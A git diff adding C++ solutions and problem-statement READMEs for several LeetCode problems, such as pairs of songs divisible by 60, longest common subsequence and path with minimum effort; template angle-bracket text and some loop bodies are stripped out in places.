diff --git a/Add Code Here/LeetCode_c++/1055-pairs-of-songs-with-total-durations-divisible-by-60/1055-pairs-of-songs-with-total-durations-divisible-by-60.cpp b/Add Code Here/LeetCode_c++/1055-pairs-of-songs-with-total-durations-divisible-by-60/1055-pairs-of-songs-with-total-durations-divisible-by-60.cpp new file mode 100644 index 00000000000..3391e0ce3ac --- /dev/null +++ b/Add Code Here/LeetCode_c++/1055-pairs-of-songs-with-total-durations-divisible-by-60/1055-pairs-of-songs-with-total-durations-divisible-by-60.cpp @@ -0,0 +1,20 @@ +class Solution { +public: + int numPairsDivisibleBy60(vector& time) + { + long long ans =0,cnt[60]={0}; + for( int i=0;i1055. Pairs of Songs With Total Durations Divisible by 60

Medium


You are given a list of songs where the ith song has a duration of time[i] seconds.

+ +

Return the number of pairs of songs for which their total duration in seconds is divisible by 60. Formally, we want the number of indices i, j such that i < j with (time[i] + time[j]) % 60 == 0.

+ +

 

+

Example 1:

+ +
+Input: time = [30,20,150,100,40]
+Output: 3
+Explanation: Three pairs have a total duration divisible by 60:
+(time[0] = 30, time[2] = 150): total duration 180
+(time[1] = 20, time[3] = 100): total duration 120
+(time[1] = 20, time[4] = 40): total duration 60
+
+ +

Example 2:

+ +
+Input: time = [60,60,60]
+Output: 3
+Explanation: All three pairs have a total duration of 120, which is divisible by 60.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= time.length <= 6 * 104
  • +
  • 1 <= time[i] <= 500
  • +
diff --git a/Add Code Here/LeetCode_c++/1129-longest-string-chain/1129-longest-string-chain.cpp b/Add Code Here/LeetCode_c++/1129-longest-string-chain/1129-longest-string-chain.cpp new file mode 100644 index 00000000000..6614f10968c --- /dev/null +++ b/Add Code Here/LeetCode_c++/1129-longest-string-chain/1129-longest-string-chain.cpp @@ -0,0 +1,34 @@ +class Solution { +public: + int longestStrChain(vector& words) + { + unordered_map chains; + + sort(words.begin(),words.end(),[] + ( string&a ,const string&b) + {return a.length()1129. Longest String Chain

Medium


You are given an array of words where each word consists of lowercase English letters.

+ +

wordA is a predecessor of wordB if and only if we can insert exactly one letter anywhere in wordA without changing the order of the other characters to make it equal to wordB.

+ +
    +
  • For example, "abc" is a predecessor of "abac", while "cba" is not a predecessor of "bcad".
  • +
+ +

A word chain is a sequence of words [word1, word2, ..., wordk] with k >= 1, where word1 is a predecessor of word2, word2 is a predecessor of word3, and so on. A single word is trivially a word chain with k == 1.

+ +

Return the length of the longest possible word chain with words chosen from the given list of words.

+ +

 

+

Example 1:

+ +
+Input: words = ["a","b","ba","bca","bda","bdca"]
+Output: 4
+Explanation: One of the longest word chains is ["a","ba","bda","bdca"].
+
+ +

Example 2:

+ +
+Input: words = ["xbc","pcxbcf","xb","cxbc","pcxbc"]
+Output: 5
+Explanation: All the words can be put in a word chain ["xb", "xbc", "cxbc", "pcxbc", "pcxbcf"].
+
+ +

Example 3:

+ +
+Input: words = ["abcd","dbqca"]
+Output: 1
+Explanation: The trivial word chain ["abcd"] is one of the longest word chains.
+["abcd","dbqca"] is not a valid word chain because the ordering of the letters is changed.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= words.length <= 1000
  • +
  • 1 <= words[i].length <= 16
  • +
  • words[i] only consists of lowercase English letters.
  • +
diff --git a/Add Code Here/LeetCode_c++/1159-smallest-subsequence-of-distinct-characters/1159-smallest-subsequence-of-distinct-characters.cpp b/Add Code Here/LeetCode_c++/1159-smallest-subsequence-of-distinct-characters/1159-smallest-subsequence-of-distinct-characters.cpp new file mode 100644 index 00000000000..6f040719dee --- /dev/null +++ b/Add Code Here/LeetCode_c++/1159-smallest-subsequence-of-distinct-characters/1159-smallest-subsequence-of-distinct-characters.cpp @@ -0,0 +1,35 @@ +class Solution { +public: + string smallestSubsequence(string s) + { + unordered_maplasto; + for( int i=0; ivis; + stackst; + + for(int i=0;is[i] + && lasto[st.top()]>i) + { + vis[st.top()]=false; + st.pop(); + } + vis[s[i]]=true; + st.push(s[i]); + } + string ans =""; + while(!st.empty()) + { + ans= st.top()+ans; + st.pop(); + } + + return ans; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/1159-smallest-subsequence-of-distinct-characters/README.md b/Add Code Here/LeetCode_c++/1159-smallest-subsequence-of-distinct-characters/README.md new file mode 100644 index 00000000000..23a186f06cb --- /dev/null +++ b/Add Code Here/LeetCode_c++/1159-smallest-subsequence-of-distinct-characters/README.md @@ -0,0 +1,27 @@ +

1159. Smallest Subsequence of Distinct Characters

Medium


Given a string s, return the lexicographically smallest subsequence of s that contains all the distinct characters of s exactly once.

+ +

 

+

Example 1:

+ +
+Input: s = "bcabc"
+Output: "abc"
+
+ +

Example 2:

+ +
+Input: s = "cbacdcbc"
+Output: "acdb"
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= s.length <= 1000
  • +
  • s consists of lowercase English letters.
  • +
+ +

 

+Note: This question is the same as 316: https://leetcode.com/problems/remove-duplicate-letters/ \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/1250-longest-common-subsequence/1250-longest-common-subsequence.cpp b/Add Code Here/LeetCode_c++/1250-longest-common-subsequence/1250-longest-common-subsequence.cpp new file mode 100644 index 00000000000..27a841d97b8 --- /dev/null +++ b/Add Code Here/LeetCode_c++/1250-longest-common-subsequence/1250-longest-common-subsequence.cpp @@ -0,0 +1,68 @@ +class Solution { +public: + int solve(string text1, string text2,int i1,int i2) + { + if(i1>=text1.size() || i2>=text2.size()) + return 0; + + if( text1[i1]==text2[i2]) + return 1+ solve(text1,text2,i1+1,i2+1); + + else + return max(solve(text1,text2,i1+1,i2), + solve(text1,text2,i1,i2+1)); + + } + + int solvemem(string &text1, string &text2,int i1,int i2, + vector>&dp) + { + if(i1>=text1.size() || i2>=text2.size()) + return 0; + + if(dp[i1][i2]!=-1) + return dp[i1][i2]; + + if( text1[i1]==text2[i2]) + return dp[i1][i2] =1+ solvemem(text1,text2,i1+1,i2+1,dp); + + else + return dp[i1][i2] = max(solvemem(text1,text2,i1+1,i2,dp), + solvemem(text1,text2,i1,i2+1,dp)); + + } + + int solvetab(string &text1, string &text2 ) + { + int n1 = text1.size(); + int n2 = text2.size(); + + vector>dp(n1+1,vector(n2+1,0)); + + for( int i1=n1-1;i1>=0;i1--) + { + for( int i2=n2-1;i2>=0;i2--) + { + if( text1[i1]==text2[i2]) + dp[i1][i2] =1+ dp[i1+1][i2+1]; + else + dp[i1][i2] = max(dp[i1+1][i2],dp[i1][i2+1]); + } + } + return dp[0][0]; + } + + int longestCommonSubsequence(string text1, string text2) + { + // return solve(text1,text2,0,0); + + // int n1 = text1.size(); + // int n2 = text2.size(); + + // vector>dp(n1,vector(n2,-1)); + // return solvemem(text1,text2,0,0,dp); + + return solvetab(text1,text2); + + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/1250-longest-common-subsequence/README.md b/Add Code Here/LeetCode_c++/1250-longest-common-subsequence/README.md new file mode 100644 index 00000000000..f78c32cf76f --- /dev/null +++ b/Add Code Here/LeetCode_c++/1250-longest-common-subsequence/README.md @@ -0,0 +1,42 @@ +

1250. Longest Common Subsequence

Medium


Given two strings text1 and text2, return the length of their longest common subsequence. If there is no common subsequence, return 0.

+ +

A subsequence of a string is a new string generated from the original string with some characters (can be none) deleted without changing the relative order of the remaining characters.

+ +
    +
  • For example, "ace" is a subsequence of "abcde".
  • +
+ +

A common subsequence of two strings is a subsequence that is common to both strings.

+ +

 

+

Example 1:

+ +
+Input: text1 = "abcde", text2 = "ace" 
+Output: 3  
+Explanation: The longest common subsequence is "ace" and its length is 3.
+
+ +

Example 2:

+ +
+Input: text1 = "abc", text2 = "abc"
+Output: 3
+Explanation: The longest common subsequence is "abc" and its length is 3.
+
+ +

Example 3:

+ +
+Input: text1 = "abc", text2 = "def"
+Output: 0
+Explanation: There is no such common subsequence, so the result is 0.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= text1.length, text2.length <= 1000
  • +
  • text1 and text2 consist of only lowercase English characters.
  • +
diff --git a/Add Code Here/LeetCode_c++/1407-group-the-people-given-the-group-size-they-belong-to/1407-group-the-people-given-the-group-size-they-belong-to.cpp b/Add Code Here/LeetCode_c++/1407-group-the-people-given-the-group-size-they-belong-to/1407-group-the-people-given-the-group-size-they-belong-to.cpp new file mode 100644 index 00000000000..be40b1979a3 --- /dev/null +++ b/Add Code Here/LeetCode_c++/1407-group-the-people-given-the-group-size-they-belong-to/1407-group-the-people-given-the-group-size-they-belong-to.cpp @@ -0,0 +1,21 @@ +class Solution { +public: + vector> groupThePeople(vector& group) + { + vector>ans; + + vector>temp(group.size()+1); + + for(int i=0;i1407. Group the People Given the Group Size They Belong To

Medium


There are n people that are split into some unknown number of groups. Each person is labeled with a unique ID from 0 to n - 1.

+ +

You are given an integer array groupSizes, where groupSizes[i] is the size of the group that person i is in. For example, if groupSizes[1] = 3, then person 1 must be in a group of size 3.

+ +

Return a list of groups such that each person i is in a group of size groupSizes[i].

+ +

Each person should appear in exactly one group, and every person must be in a group. If there are multiple answers, return any of them. It is guaranteed that there will be at least one valid solution for the given input.

+ +

 

+

Example 1:

+ +
+Input: groupSizes = [3,3,3,3,3,1,3]
+Output: [[5],[0,1,2],[3,4,6]]
+Explanation: 
+The first group is [5]. The size is 1, and groupSizes[5] = 1.
+The second group is [0,1,2]. The size is 3, and groupSizes[0] = groupSizes[1] = groupSizes[2] = 3.
+The third group is [3,4,6]. The size is 3, and groupSizes[3] = groupSizes[4] = groupSizes[6] = 3.
+Other possible solutions are [[2,1,6],[5],[0,4,3]] and [[5],[0,6,2],[4,3,1]].
+
+ +

Example 2:

+ +
+Input: groupSizes = [2,1,3,3,3,2]
+Output: [[1],[0,5],[2,3,4]]
+
+ +

 

+

Constraints:

+ +
    +
  • groupSizes.length == n
  • +
  • 1 <= n <= 500
  • +
  • 1 <= groupSizes[i] <= n
  • +
diff --git a/Add Code Here/LeetCode_c++/1461-count-all-valid-pickup-and-delivery-options/1461-count-all-valid-pickup-and-delivery-options.cpp b/Add Code Here/LeetCode_c++/1461-count-all-valid-pickup-and-delivery-options/1461-count-all-valid-pickup-and-delivery-options.cpp new file mode 100644 index 00000000000..8ad645b47e4 --- /dev/null +++ b/Add Code Here/LeetCode_c++/1461-count-all-valid-pickup-and-delivery-options/1461-count-all-valid-pickup-and-delivery-options.cpp @@ -0,0 +1,15 @@ +class Solution { +public: + int countOrders(int n) + { + int num=3, mod =1e9+7; + long long ans =1; + for( int i=2;i<=n;i++) + { + int sum = num*(num+1)%mod /2; + ans = ans*sum %mod; + num+=2; + } + return ans%mod; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/1461-count-all-valid-pickup-and-delivery-options/README.md b/Add Code Here/LeetCode_c++/1461-count-all-valid-pickup-and-delivery-options/README.md new file mode 100644 index 00000000000..2362586b5fa --- /dev/null +++ b/Add Code Here/LeetCode_c++/1461-count-all-valid-pickup-and-delivery-options/README.md @@ -0,0 +1,38 @@ +

1461. Count All Valid Pickup and Delivery Options

Hard


Given n orders, each order consist in pickup and delivery services. 

+ +

Count all valid pickup/delivery possible sequences such that delivery(i) is always after of pickup(i). 

+ +

Since the answer may be too large, return it modulo 10^9 + 7.

+ +

 

+

Example 1:

+ +
+Input: n = 1
+Output: 1
+Explanation: Unique order (P1, D1), Delivery 1 always is after of Pickup 1.
+
+ +

Example 2:

+ +
+Input: n = 2
+Output: 6
+Explanation: All possible orders: 
+(P1,P2,D1,D2), (P1,P2,D2,D1), (P1,D1,P2,D2), (P2,P1,D1,D2), (P2,P1,D2,D1) and (P2,D2,P1,D1).
+This is an invalid order (P1,D2,P2,D1) because Pickup 2 is after of Delivery 2.
+
+ +

Example 3:

+ +
+Input: n = 3
+Output: 90
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= n <= 500
  • +
diff --git a/Add Code Here/LeetCode_c++/1463-the-k-weakest-rows-in-a-matrix/1463-the-k-weakest-rows-in-a-matrix.cpp b/Add Code Here/LeetCode_c++/1463-the-k-weakest-rows-in-a-matrix/1463-the-k-weakest-rows-in-a-matrix.cpp new file mode 100644 index 00000000000..8a68139bc78 --- /dev/null +++ b/Add Code Here/LeetCode_c++/1463-the-k-weakest-rows-in-a-matrix/1463-the-k-weakest-rows-in-a-matrix.cpp @@ -0,0 +1,30 @@ +class Solution { +public: + vector kWeakestRows(vector>& mat, int k) + { + priority_queue, + vector> , + greater> >pq; + + int one=0; + for( int i=0;ians; + while(k) + { + ans.push_back(pq.top().second); + pq.pop(); + k--; + } + return ans; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/1463-the-k-weakest-rows-in-a-matrix/README.md b/Add Code Here/LeetCode_c++/1463-the-k-weakest-rows-in-a-matrix/README.md new file mode 100644 index 00000000000..e12ba85a74b --- /dev/null +++ b/Add Code Here/LeetCode_c++/1463-the-k-weakest-rows-in-a-matrix/README.md @@ -0,0 +1,62 @@ +

1463. The K Weakest Rows in a Matrix

Easy


You are given an m x n binary matrix mat of 1's (representing soldiers) and 0's (representing civilians). The soldiers are positioned in front of the civilians. That is, all the 1's will appear to the left of all the 0's in each row.

+ +

A row i is weaker than a row j if one of the following is true:

+ +
    +
  • The number of soldiers in row i is less than the number of soldiers in row j.
  • +
  • Both rows have the same number of soldiers and i < j.
  • +
+ +

Return the indices of the k weakest rows in the matrix ordered from weakest to strongest.

+ +

 

+

Example 1:

+ +
+Input: mat = 
+[[1,1,0,0,0],
+ [1,1,1,1,0],
+ [1,0,0,0,0],
+ [1,1,0,0,0],
+ [1,1,1,1,1]], 
+k = 3
+Output: [2,0,3]
+Explanation: 
+The number of soldiers in each row is: 
+- Row 0: 2 
+- Row 1: 4 
+- Row 2: 1 
+- Row 3: 2 
+- Row 4: 5 
+The rows ordered from weakest to strongest are [2,0,3,1,4].
+
+ +

Example 2:

+ +
+Input: mat = 
+[[1,0,0,0],
+ [1,1,1,1],
+ [1,0,0,0],
+ [1,0,0,0]], 
+k = 2
+Output: [0,2]
+Explanation: 
+The number of soldiers in each row is: 
+- Row 0: 1 
+- Row 1: 4 
+- Row 2: 1 
+- Row 3: 1 
+The rows ordered from weakest to strongest are [0,2,3,1].
+
+ +

 

+

Constraints:

+ +
    +
  • m == mat.length
  • +
  • n == mat[i].length
  • +
  • 2 <= n, m <= 100
  • +
  • 1 <= k <= m
  • +
  • matrix[i][j] is either 0 or 1.
  • +
diff --git a/Add Code Here/LeetCode_c++/1554-minimum-time-to-collect-all-apples-in-a-tree/1554-minimum-time-to-collect-all-apples-in-a-tree.cpp b/Add Code Here/LeetCode_c++/1554-minimum-time-to-collect-all-apples-in-a-tree/1554-minimum-time-to-collect-all-apples-in-a-tree.cpp new file mode 100644 index 00000000000..32b558d0ae3 --- /dev/null +++ b/Add Code Here/LeetCode_c++/1554-minimum-time-to-collect-all-apples-in-a-tree/1554-minimum-time-to-collect-all-apples-in-a-tree.cpp @@ -0,0 +1,36 @@ +class Solution { +public: + int dfs( unordered_map>&adj , + vector& hasApple, vector&vis ,int cost,int node ) + { + if(vis[node]) + return 0; + + vis[node]=true; + + int childcost=0; + + for( auto it: adj[node]) + childcost += dfs( adj,hasApple,vis,2,it); + + if( childcost==0 && !hasApple[node]) + return 0; + + return childcost+cost; + } + + int minTime(int n, vector>& edges, vector& hasApple) + { + unordered_map>adj; + vectorvis(n,0); + + for( auto it :edges) + { + adj[it[0]].push_back(it[1]); + adj[it[1]].push_back(it[0]); + } + + return dfs( adj,hasApple,vis,0,0); + + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/1554-minimum-time-to-collect-all-apples-in-a-tree/README.md b/Add Code Here/LeetCode_c++/1554-minimum-time-to-collect-all-apples-in-a-tree/README.md new file mode 100644 index 00000000000..1819216d9c2 --- /dev/null +++ b/Add Code Here/LeetCode_c++/1554-minimum-time-to-collect-all-apples-in-a-tree/README.md @@ -0,0 +1,38 @@ +

1554. Minimum Time to Collect All Apples in a Tree

Medium


Given an undirected tree consisting of n vertices numbered from 0 to n-1, which has some apples in their vertices. You spend 1 second to walk over one edge of the tree. Return the minimum time in seconds you have to spend to collect all apples in the tree, starting at vertex 0 and coming back to this vertex.

+ +

The edges of the undirected tree are given in the array edges, where edges[i] = [ai, bi] means that exists an edge connecting the vertices ai and bi. Additionally, there is a boolean array hasApple, where hasApple[i] = true means that vertex i has an apple; otherwise, it does not have any apple.

+ +

 

+

Example 1:

+ +
+Input: n = 7, edges = [[0,1],[0,2],[1,4],[1,5],[2,3],[2,6]], hasApple = [false,false,true,false,true,true,false]
+Output: 8 
+Explanation: The figure above represents the given tree where red vertices have an apple. One optimal path to collect all apples is shown by the green arrows.  
+
+ +

Example 2:

+ +
+Input: n = 7, edges = [[0,1],[0,2],[1,4],[1,5],[2,3],[2,6]], hasApple = [false,false,true,false,false,true,false]
+Output: 6
+Explanation: The figure above represents the given tree where red vertices have an apple. One optimal path to collect all apples is shown by the green arrows.  
+
+ +

Example 3:

+ +
+Input: n = 7, edges = [[0,1],[0,2],[1,4],[1,5],[2,3],[2,6]], hasApple = [false,false,false,false,false,false,false]
+Output: 0
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= n <= 105
  • +
  • edges.length == n - 1
  • +
  • edges[i].length == 2
  • +
  • 0 <= ai < bi <= n - 1
  • +
  • hasApple.length == n
  • +
diff --git a/Add Code Here/LeetCode_c++/1706-min-cost-to-connect-all-points/1706-min-cost-to-connect-all-points.cpp b/Add Code Here/LeetCode_c++/1706-min-cost-to-connect-all-points/1706-min-cost-to-connect-all-points.cpp new file mode 100644 index 00000000000..7a4af6e7faa --- /dev/null +++ b/Add Code Here/LeetCode_c++/1706-min-cost-to-connect-all-points/1706-min-cost-to-connect-all-points.cpp @@ -0,0 +1,55 @@ +class Solution { +public: + int dist(vector&v1 , vector&v2) + { + return abs(abs(v1[0]-v2[0])+abs(v1[1]-v2[1])); + } + int minCostConnectPoints(vector>& points) + { + int n = points.size(); + vector>>adj(n); + // make a adj list + for( int i=0;i,vector>, + greater>>pq; + + //vis array + vectorvis(n,0); + + pq.push({0,0}); + int cost =0; + + while(!pq.empty()) + { + auto it = pq.top(); + pq.pop(); + int curr = it.second; + int edwgt = it.first; + + if( vis[curr] ) + continue; + + vis[curr]=1; + cost+=edwgt; + for( auto it : adj[curr] ) + { + int adjpoint =it.first; + int wgt =it.second; + + if(!vis[adjpoint]) + pq.push({wgt,adjpoint}); + } + } + return cost; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/1706-min-cost-to-connect-all-points/README.md b/Add Code Here/LeetCode_c++/1706-min-cost-to-connect-all-points/README.md new file mode 100644 index 00000000000..f3031ff0219 --- /dev/null +++ b/Add Code Here/LeetCode_c++/1706-min-cost-to-connect-all-points/README.md @@ -0,0 +1,33 @@ +

1706. Min Cost to Connect All Points

Medium


You are given an array points representing integer coordinates of some points on a 2D-plane, where points[i] = [xi, yi].

+ +

The cost of connecting two points [xi, yi] and [xj, yj] is the manhattan distance between them: |xi - xj| + |yi - yj|, where |val| denotes the absolute value of val.

+ +

Return the minimum cost to make all points connected. All points are connected if there is exactly one simple path between any two points.

+ +

 

+

Example 1:

+ +
+Input: points = [[0,0],[2,2],[3,10],[5,2],[7,0]]
+Output: 20
+Explanation: 
+
+We can connect the points as shown above to get the minimum cost of 20.
+Notice that there is a unique path between every pair of points.
+
+ +

Example 2:

+ +
+Input: points = [[3,12],[-2,5],[-4,1]]
+Output: 18
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= points.length <= 1000
  • +
  • -106 <= xi, yi <= 106
  • +
  • All pairs (xi, yi) are distinct.
  • +
diff --git a/Add Code Here/LeetCode_c++/1753-path-with-minimum-effort/1753-path-with-minimum-effort.cpp b/Add Code Here/LeetCode_c++/1753-path-with-minimum-effort/1753-path-with-minimum-effort.cpp new file mode 100644 index 00000000000..2aa105b698e --- /dev/null +++ b/Add Code Here/LeetCode_c++/1753-path-with-minimum-effort/1753-path-with-minimum-effort.cpp @@ -0,0 +1,47 @@ +#define p pair> +class Solution { +public: + const int dx[4]={-1,0,1,0} , dy[4]={0,1,0,-1}; + int minimumEffortPath(vector>& heights) + { + int n = heights.size(); + int m = heights[0].size(); + + priority_queue,greater

>pq; + + vector>dis(n,vector(m,INT_MAX)); + + dis[0][0] =0; + pq.push({0,{0,0}}); + + while(!pq.empty()) + { + p curr = pq.top(); + pq.pop(); + + int d = curr.first; + int x = curr.second.first; + int y = curr.second.second; + + if( x==n-1 && y==m-1) + return d; + + for( int i=0;i<4;++i) + { + int xx = x+dx[i]; + int yy = y+dy[i]; + + if( xx<0 ||xx>=n || yy<0 || yy>=m) + continue; + + int nd = max( d,abs(heights[xx][yy]-heights[x][y])); + if( nd < dis[xx][yy] ) + { + dis[xx][yy] =nd ; + pq.push({ nd,{xx,yy}}); + } + } + } + return dis[n-1][m-1]; + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/1753-path-with-minimum-effort/README.md b/Add Code Here/LeetCode_c++/1753-path-with-minimum-effort/README.md new file mode 100644 index 00000000000..4aa2ee9b995 --- /dev/null +++ b/Add Code Here/LeetCode_c++/1753-path-with-minimum-effort/README.md @@ -0,0 +1,45 @@ +

1753. Path With Minimum Effort

Medium


You are a hiker preparing for an upcoming hike. You are given heights, a 2D array of size rows x columns, where heights[row][col] represents the height of cell (row, col). You are situated in the top-left cell, (0, 0), and you hope to travel to the bottom-right cell, (rows-1, columns-1) (i.e., 0-indexed). You can move up, down, left, or right, and you wish to find a route that requires the minimum effort.

+ +

A route's effort is the maximum absolute difference in heights between two consecutive cells of the route.

+ +

Return the minimum effort required to travel from the top-left cell to the bottom-right cell.

+ +

 

+

Example 1:

+ +

+ +
+Input: heights = [[1,2,2],[3,8,2],[5,3,5]]
+Output: 2
+Explanation: The route of [1,3,5,3,5] has a maximum absolute difference of 2 in consecutive cells.
+This is better than the route of [1,2,2,2,5], where the maximum absolute difference is 3.
+
+ +

Example 2:

+ +

+ +
+Input: heights = [[1,2,3],[3,8,4],[5,3,5]]
+Output: 1
+Explanation: The route of [1,2,3,4,5] has a maximum absolute difference of 1 in consecutive cells, which is better than route [1,3,5,3,5].
+
+ +

Example 3:

+ +
+Input: heights = [[1,2,1,1,1],[1,2,1,2,1],[1,2,1,2,1],[1,2,1,2,1],[1,1,1,2,1]]
+Output: 0
+Explanation: This route does not require any effort.
+
+ +

 

+

Constraints:

+ +
    +
  • rows == heights.length
  • +
  • columns == heights[i].length
  • +
  • 1 <= rows, columns <= 100
  • +
  • 1 <= heights[i][j] <= 106
  • +
\ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/1770-minimum-deletions-to-make-character-frequencies-unique/1770-minimum-deletions-to-make-character-frequencies-unique.cpp b/Add Code Here/LeetCode_c++/1770-minimum-deletions-to-make-character-frequencies-unique/1770-minimum-deletions-to-make-character-frequencies-unique.cpp new file mode 100644 index 00000000000..f44bd99641f --- /dev/null +++ b/Add Code Here/LeetCode_c++/1770-minimum-deletions-to-make-character-frequencies-unique/1770-minimum-deletions-to-make-character-frequencies-unique.cpp @@ -0,0 +1,27 @@ +class Solution { +public: + int minDeletions(string s) + { + vectorfreq(26,0); + for(int i=0;i=0;i--) + { + if(freq[i]==0) + break; + + if(freq[i]>=freq[i+1]) + { + int temp = freq[i]; + freq[i]= max(0,freq[i+1]-1); + del+= temp-freq[i]; + } + } + return del; + + } +}; \ No newline at end of file diff --git a/Add Code Here/LeetCode_c++/1770-minimum-deletions-to-make-character-frequencies-unique/README.md b/Add Code Here/LeetCode_c++/1770-minimum-deletions-to-make-character-frequencies-unique/README.md new file mode 100644 index 00000000000..c146addbf54 --- /dev/null +++ b/Add Code Here/LeetCode_c++/1770-minimum-deletions-to-make-character-frequencies-unique/README.md @@ -0,0 +1,39 @@ +

1770. Minimum Deletions to Make Character Frequencies Unique

Medium


A string s is called good if there are no two different characters in s that have the same frequency.

+ +

Given a string s, return the minimum number of characters you need to delete to make s good.

+ +

The frequency of a character in a string is the number of times it appears in the string. For example, in the string "aab", the frequency of 'a' is 2, while the frequency of 'b' is 1.

+ +

 

+

Example 1:

+ +
+Input: s = "aab"
+Output: 0
+Explanation: s is already good.
+
+ +

Example 2:

+ +
+Input: s = "aaabbbcc"
+Output: 2
+Explanation: You can delete two 'b's resulting in the good string "aaabcc".
+Another way it to delete one 'b' and one 'c' resulting in the good string "aaabbc".
+ +

Example 3:

+ +
+Input: s = "ceabaacb"
+Output: 2
+Explanation: You can delete both 'c's resulting in the good string "eabaab".
+Note that we only care about characters that are still in the string at the end (i.e. frequency of 0 is ignored).
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= s.length <= 105
  • +
  • s contains only lowercase English letters.
  • +
diff --git a/Add Code Here/LeetCode_c++/1776-minimum-operations-to-reduce-x-to-zero/1776-minimum-operations-to-reduce-x-to-zero.cpp b/Add Code Here/LeetCode_c++/1776-minimum-operations-to-reduce-x-to-zero/1776-minimum-operations-to-reduce-x-to-zero.cpp new file mode 100644 index 00000000000..8fb04a2ba5f --- /dev/null +++ b/Add Code Here/LeetCode_c++/1776-minimum-operations-to-reduce-x-to-zero/1776-minimum-operations-to-reduce-x-to-zero.cpp @@ -0,0 +1,60 @@ +class Solution { +public: + // int solve( vector&nums ,int x ,int i ,int j,int step) + // { + // if(x==0) + // { + // return step; + // } + // if(x<0 || j<0 || i>=nums.size()) + // return INT_MAX; + + // int left = solve(nums,x-nums[i],i+1,j,step+1); + // int right = solve(nums,x-nums[j],i,j-1,step+1); + + // return min( left,right ) ; + + // } + + int minOperations(vector& nums, int x) + { + // int i=0; + // int j=nums.size()-1; + + // int sum=0; + // for(auto it :nums) + // sum+=it; + // if(sumsum && left1776. Minimum Operations to Reduce X to Zero

Medium


You are given an integer array nums and an integer x. In one operation, you can either remove the leftmost or the rightmost element from the array nums and subtract its value from x. Note that this modifies the array for future operations.

+ +

Return the minimum number of operations to reduce x to exactly 0 if it is possible, otherwise, return -1.

+ +

 

+

Example 1:

+ +
+Input: nums = [1,1,4,2,3], x = 5
+Output: 2
+Explanation: The optimal solution is to remove the last two elements to reduce x to zero.
+
+ +

Example 2:

+ +
+Input: nums = [5,6,7,8,9], x = 4
+Output: -1
+
+ +

Example 3:

+ +
+Input: nums = [3,2,20,1,1,3], x = 10
+Output: 5
+Explanation: The optimal solution is to remove the last three elements and the first two elements (5 operations in total) to reduce x to zero.
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= nums.length <= 105
  • +
  • 1 <= nums[i] <= 104
  • +
  • 1 <= x <= 109
  • +
diff --git a/Add Code Here/LeetCode_c++/1777-determine-if-two-strings-are-close/1777-determine-if-two-strings-are-close.cpp b/Add Code Here/LeetCode_c++/1777-determine-if-two-strings-are-close/1777-determine-if-two-strings-are-close.cpp new file mode 100644 index 00000000000..e77dfa0e13f --- /dev/null +++ b/Add Code Here/LeetCode_c++/1777-determine-if-two-strings-are-close/1777-determine-if-two-strings-are-close.cpp @@ -0,0 +1,53 @@ +class Solution { +public: + bool closeStrings(string word1, string word2) + { + if(word1.size()!=word2.size()) + return false; + + // unordered_mapmp1,mp2; + + // for(auto it :word1) + // mp1[it]++; + + // for( auto it:word2) + // mp2[it]++; + + // for( auto it: mp1) + // { + // if(mp2.find(it.first)==mp2.end()) + // return false; + // } + + unordered_mapmp1; + + for(auto it :word1) + mp1[it]++; + + for( auto it:word2) + mp1.erase(it); + + if(!mp1.empty()) + return false; + + vectorv1(26,0); + vectorv2(26,0); + + for( int i=0;i1777. Determine if Two Strings Are Close

Medium


Two strings are considered close if you can attain one from the other using the following operations:

+ +
    +
  • Operation 1: Swap any two existing characters. + +
      +
    • For example, abcde -> aecdb
    • +
    +
  • +
  • Operation 2: Transform every occurrence of one existing character into another existing character, and do the same with the other character. +
      +
    • For example, aacabb -> bbcbaa (all a's turn into b's, and all b's turn into a's)
    • +
    +
  • +
+ +

You can use the operations on either string as many times as necessary.

+ +

Given two strings, word1 and word2, return true if word1 and word2 are close, and false otherwise.

+ +

 

+

Example 1:

+ +
+Input: word1 = "abc", word2 = "bca"
+Output: true
+Explanation: You can attain word2 from word1 in 2 operations.
+Apply Operation 1: "abc" -> "acb"
+Apply Operation 1: "acb" -> "bca"
+
+ +

Example 2:

+ +
+Input: word1 = "a", word2 = "aa"
+Output: false
+Explanation: It is impossible to attain word2 from word1, or vice versa, in any number of operations.
+
+ +

Example 3:

+ +
+Input: word1 = "cabbba", word2 = "abbccc"
+Output: true
+Explanation: You can attain word2 from word1 in 3 operations.
+Apply Operation 1: "cabbba" -> "caabbb"
+Apply Operation 2: "caabbb" -> "baaccc"
+Apply Operation 2: "baaccc" -> "abbccc"
+
+ +

 

+

Constraints:

+ +
    +
  • 1 <= word1.length, word2.length <= 105
  • +
  • word1 and word2 contain only lowercase English letters.
  • +
diff --git a/Add Code Here/LeetCode_c++/2324-find-triangular-sum-of-an-array/2324-find-triangular-sum-of-an-array.cpp b/Add Code Here/LeetCode_c++/2324-find-triangular-sum-of-an-array/2324-find-triangular-sum-of-an-array.cpp new file mode 100644 index 00000000000..b5a8d121952 --- /dev/null +++ b/Add Code Here/LeetCode_c++/2324-find-triangular-sum-of-an-array/2324-find-triangular-sum-of-an-array.cpp @@ -0,0 +1,24 @@ +class Solution { +public: + int triangularSum(vector& nums) + { + if(nums.size()==1) + return nums[0]; + + int n=nums.size(); + for(int i=0;i2324. Find Triangular Sum of an Array

Medium


You are given a 0-indexed integer array nums, where nums[i] is a digit between 0 and 9 (inclusive).

+ +

The triangular sum of nums is the value of the only element present in nums after the following process terminates:

+ +
    +
  1. Let nums comprise of n elements. If n == 1, end the process. Otherwise, create a new 0-indexed integer array newNums of length n - 1.
  2. +
